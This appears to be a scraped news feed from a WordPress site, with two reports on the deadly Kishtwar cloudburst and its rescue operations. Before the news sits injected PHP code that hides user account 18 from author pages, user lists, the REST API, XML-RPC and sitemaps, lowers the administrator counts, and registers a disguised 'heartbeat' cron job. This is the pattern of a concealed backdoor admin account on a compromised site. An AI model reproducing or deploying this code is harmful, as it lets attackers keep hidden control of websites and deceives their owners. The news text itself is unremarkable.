add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Kishtwar Tragedy: Death Toll Rises to 65, Search Intensifies for 33 Missing After Cloudburst Horror appeared first on The Edge Media.
]]>
The tragedy struck on August 14, flattening makeshift markets, damaging 16 houses, three temples, four water mills, and a 30-metre bridge, leaving behind a trail of destruction. The death toll now stands at 65, including three CISF personnel and one J&K Police SPO, while over 100 people were injured.
Rescue efforts have intensified at three key locations — near the langar site, the washed-away houses, and the Bhuat nallah in Gulabgarh-Paddar. A massive team of the NDRF, SDRF, Army, CISF, police, BRO, civil administration, and local volunteers is tirelessly working to recover bodies and rescue survivors.
Specialized heavy-duty machinery, earthmovers, sniffer dogs, and advanced trucks have been deployed to sift through debris and reach inaccessible areas. Rescue teams from the 13th Battalion of NDRF are focusing on the 22-km stretch between Chisoti and Gulabgarh, following the recovery of two bodies downstream.
Officials confirmed that DNA identification has begun for recovered body parts, while relief measures, evacuation drives, and aid distribution are underway under the supervision of senior IAS and IPS officers, on the directions of Lt. Governor Manoj Sinha.
With hopes fading for the missing, the Kishtwar disaster stands as one of J&K’s deadliest tragedies in recent years, leaving hundreds displaced and the region in shock.
The post Kishtwar Tragedy: Death Toll Rises to 65, Search Intensifies for 33 Missing After Cloudburst Horror appeared first on The Edge Media.
]]>The post Kishtwar’s Chositi Village Devastated by Cloudburst; 46 Dead, Many Still Missing appeared first on The Edge Media.
]]>The disaster struck early Thursday, triggering flash floods and landslides that engulfed homes, shops, and pathways in the base camp of the Machail Yatra pilgrimage. Among the dead are two personnel of the Central Industrial Security Force (CISF). Officials fear the toll could rise further as several people remain trapped beneath layers of mud and stone.
Over 160 people have been rescued so far, with 38 reported to be in critical condition. The injured are suffering from horrific wounds — broken ribs, deep cuts filled with grit, mud-filled lungs, and blunt-force trauma from rocks and debris. Many victims, including pilgrims and security personnel, were pulled out after hours of frantic digging by locals, police, and Army teams. In several cases, the injured had to be carried on the rescuers’ backs to the nearest hospitals due to the blocked and damaged routes.
“The catastrophe is widespread in Chositi. You can see devastation, deaths, and injuries everywhere. It is the worst situation, and the death toll could rise,” said BJP leader and Leader of Opposition in the J&K Assembly Sunil Sharma, who visited the site.
The cloudburst has left behind scenes of unimaginable horror — blood-stained bodies caked in mud, shattered homes, and survivors in shock, unable to comprehend the speed with which the mountain fury swept through their village. With weather conditions still unstable and the terrain treacherous, rescue operations continue in a race against time.
Authorities have set up relief camps for displaced residents, and medical teams are working round the clock to treat the injured. The state administration has also sought additional support from the National Disaster Response Force (NDRF) and Indian Air Force to expedite evacuation and aid delivery.
As night falls over Chositi, the haunting silence is broken only by the sounds of digging and the cries of those still searching for missing loved ones.
The post Kishtwar’s Chositi Village Devastated by Cloudburst; 46 Dead, Many Still Missing appeared first on The Edge Media.
]]>